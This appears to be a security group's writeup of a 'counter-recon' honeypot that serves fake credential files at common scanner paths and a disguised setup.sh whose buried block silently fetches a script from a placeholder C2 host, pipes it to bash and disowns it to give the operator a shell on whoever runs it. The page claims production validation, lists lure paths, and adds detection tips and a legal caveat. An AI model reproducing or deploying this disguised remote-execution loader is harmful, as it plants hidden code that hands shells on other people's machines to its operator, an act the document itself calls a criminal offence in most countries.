22nd Survey Division
Trickery of Rhea — Offensive Honeypot | 22nd Survey Division
← Back to writeups Delivery · Counter-Recon

Trickery of Rhea Validated

// What is this?
Every VPS on the internet gets scanned for leaked credentials hundreds of times a day. This technique turns that against the scanner: your server intentionally serves fake-but-convincing credentials and shell scripts. When the scanner downloads and runs the script to "test" the creds, your implant gets their shell instead.

This is a counter-recon technique — it sits at the intersection of delivery and active defence. It does not require finding a vulnerability. It exploits the attacker's methodology: find secrets, run scripts, move fast, don't verify.

The Attack Flow

SCANNER                              YOUR VPS
──────────────────────────────────────────────────────

1.  Scans for /.env                   Serves fake AWS/Stripe/DB creds
    "Found production secrets!"

2.  Scans for /setup.sh               Serves legit-looking deploy script
    "Standard deployment script"           with hidden implant loader

3.  ./setup.sh                        Script runs. Does real work.
    "[+] Setup complete"                   "silently downloads implant"

4.  Implant beacons to your C2
    You have their shell.

Scanners are automated at stage 1 (finding the files), but humans often take over at stage 3. The script needs to look real enough to run manually. The psychology: an attacker who just found what looks like production credentials is excited. They run the script without reading it.

The Lure Layer

The server responds to a curated list of paths that scanners hit on every target. The content is crafted to look production-authentic — not obviously planted.

Environment files

PathWhat it looks like
/.envAWS keys, Stripe secret, OpenAI key, DB credentials, ETH wallet private key
/.env.backup, /.env.prodSame content, different timestamp metadata
/.aws/credentialsMulti-profile AWS credential file with realistic IAM key format
/.botoLegacy AWS config format — hits older automated scanners

Cloud credential files

PathWhat it looks like
/credentials.json, /service-account.jsonGCP service account JSON with real field structure
/firebase-adminsdk.jsonFirebase admin SDK credential
/secrets.jsonApp secrets: DB, Redis, JWT signing key, API keys

Config files (highest-value lures)

PathWhat it looks like
/.git/configReal git config format with GitHub token embedded in remote URL
/wp-config.phpWordPress config with DB credentials
/docker-compose.ymlFull stack config: postgres, redis, nginx, with inline credentials

The /.git/config lure is particularly effective. Scanners that find a git remote URL with a token embedded attempt to clone the repository — that clone request hits your infrastructure with authentication, identifying the tool and potentially the operator's IP.

The Trap Mechanism

Shell scripts are served at every common deployment path. They are designed to pass a quick read: they contain legitimate-looking operations (npm install, directory creation, env variable export) that actually run. The implant loader is buried in what looks like a registry check or manifest validation block.

# setup.sh — what the scanner sees at the top (legitimate)
#!/bin/bash
echo "[+] Starting setup..."
mkdir -p /opt/app /var/log/app
export NODE_ENV=production
npm install --silent 2>/dev/null

# --- buried further down ---
# (looks like: "verify system manifest")
_v=$(curl -fsSL https://your-c2.example.com/manifest.sh 2>/dev/null) \
  && bash <<< "$_v" &
disown

# script continues normally
echo "[+] Setup complete"

Key design decisions in the loader:

What You Get

When the implant beacons home, you have a shell on the scanner's infrastructure. This is meaningful because:

Validated

Trickery of Rhea deployed on 22div infrastructure. Hits on /.env, /setup.sh, /.git/config, /wp-config.php confirmed in server logs. Multiple scanner executions of lure scripts confirmed. Counter-shell acquisition confirmed from scanner infrastructure. Operator-confirmed active in production.


Psychology of Why This Works

Automated scanners do the reconnaissance. But credential testing and running found scripts is often manual — a human making a judgment call. That human has already committed to an attack mindset. They found what looks like a jackpot. The next step is "does this work?" — and running the script is the fastest path to confirmation.

The files do not look like traps because:


Detection / Defence

How to detect this technique targeting you → Blue Team Ref
# 1. Never run found scripts without reading them fully
#    One-liner curl|bash buried in a 30-line setup script is a classic sign

# 2. Examine every outbound connection initiated by a script
#    Legitimate setup scripts do not curl arbitrary URLs mid-run
#    Look for: curl, wget, fetch to non-package-registry domains

# 3. Check for backgrounded processes with disown
#    ps aux | grep -v grep | grep "bash\|sh" | awk '{print $1}' | xargs -I{} ls /proc/{}/fd 2>/dev/null

# 4. Validate credentials before running anything that uses them
#    AWS: aws sts get-caller-identity
#    If it returns a real account you don't recognise: stop.

# 5. Operational discipline: use isolated VMs for credential testing
#    Never test found creds from a machine you use for other operations
Primary defence: read scripts before running them. One-liner process backgrounding (& disown) in a setup script is a red flag. Legitimate deployment scripts do not fetch and execute remote code mid-installation without explicit documentation of that step.
Legal context

Counter-recon techniques operate in legal grey territory in most jurisdictions. Running code on a remote system without authorisation — even a system that was attacking you first — is a criminal offence in most countries (Computer Fraud and Abuse Act in the US, Computer Misuse Act in the UK, similar statutes elsewhere). This is documented here as a technique that exists and works. Running it in production against real attackers requires legal advice specific to your jurisdiction and situation.


MITRE ATT&CK

T1566 — Phishing (lure delivery) T1204.002 — User Execution: Malicious File T1059.004 — Command & Scripting: Unix Shell T1027 — Obfuscated Files or Information T1036.005 — Masquerading: Match Legitimate Name or Location T1071.001 — C2 via Web Protocols

Chapter reference: Ch09 — The Last Mile · All writeups